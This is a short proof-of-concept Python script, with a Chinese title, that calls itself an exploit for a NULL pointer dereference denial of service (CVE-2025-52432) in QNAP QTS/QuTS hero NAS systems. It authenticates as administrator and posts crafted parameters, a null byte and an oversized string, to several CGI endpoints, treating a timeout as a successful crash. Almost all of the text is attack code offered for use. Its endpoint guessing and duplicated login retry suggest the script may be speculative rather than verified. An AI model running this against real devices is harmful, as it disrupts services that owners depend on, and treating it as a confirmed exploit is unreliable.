CVE-2025-52432 QNAP操作系统空指针解引用拒绝服务漏洞

# CVE-2025-52432 PoC - QNAP NULL Pointer Dereference DoS # This PoC demonstrates triggering NULL pointer dereference in QNAP QTS/QuTS hero # Requires valid administrator credentials import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_HOST = "https://<qnap-nas-ip>" ADMIN_USER = "admin" ADMIN_PASS = "<admin_password>" def exploit_null_pointer_deref(): """ Trigger NULL pointer dereference vulnerability in QNAP OS. The vulnerability exists in the system service handling specific authenticated requests. Sending a malformed request after authentication causes the service to dereference a NULL pointer, leading to DoS. """ session = requests.Session() session.verify = False # Step 1: Authenticate as administrator login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi" login_data = { "user": ADMIN_USER, "pwd": ADMIN_PASS } print("[*] Authenticating as administrator...") resp = session.post(login_url, data=login_data) if "authSid" not in session.cookies.get_dict(): # Try alternative login method resp = session.post(login_url, data=login_data) if resp.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable endpoint processes the request and dereferences # an uninitialized/NULL pointer under specific conditions vuln_endpoints = [ "/cgi-bin/filemanager/utilRequest.cgi", "/cgi-bin/qpkg/cgiRequest.cgi", "/cgi-bin/sysinfo/cgiRequest.cgi" ] for endpoint in vuln_endpoints: url = f"{TARGET_HOST}{endpoint}" # Crafted payload to trigger NULL pointer dereference crafted_params = { "func": "get_info", "sid": session.cookies.get("authSid", ""), "source": "\x00", # NULL byte injection "type": "AAAA" * 256 # Oversized parameter } print(f"[*] Sending crafted request to {endpoint}...") try: resp = session.post(url, data=crafted_params, timeout=10) print(f"[*] Response status: {resp.status_code}") except requests.exceptions.Timeout: print(f"[!] Timeout - service may have crashed (DoS triggered)") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if exploit_null_pointer_deref(): print("[+] DoS attack may have succeeded") else: print("[-] Exploit may not have triggered the vulnerability")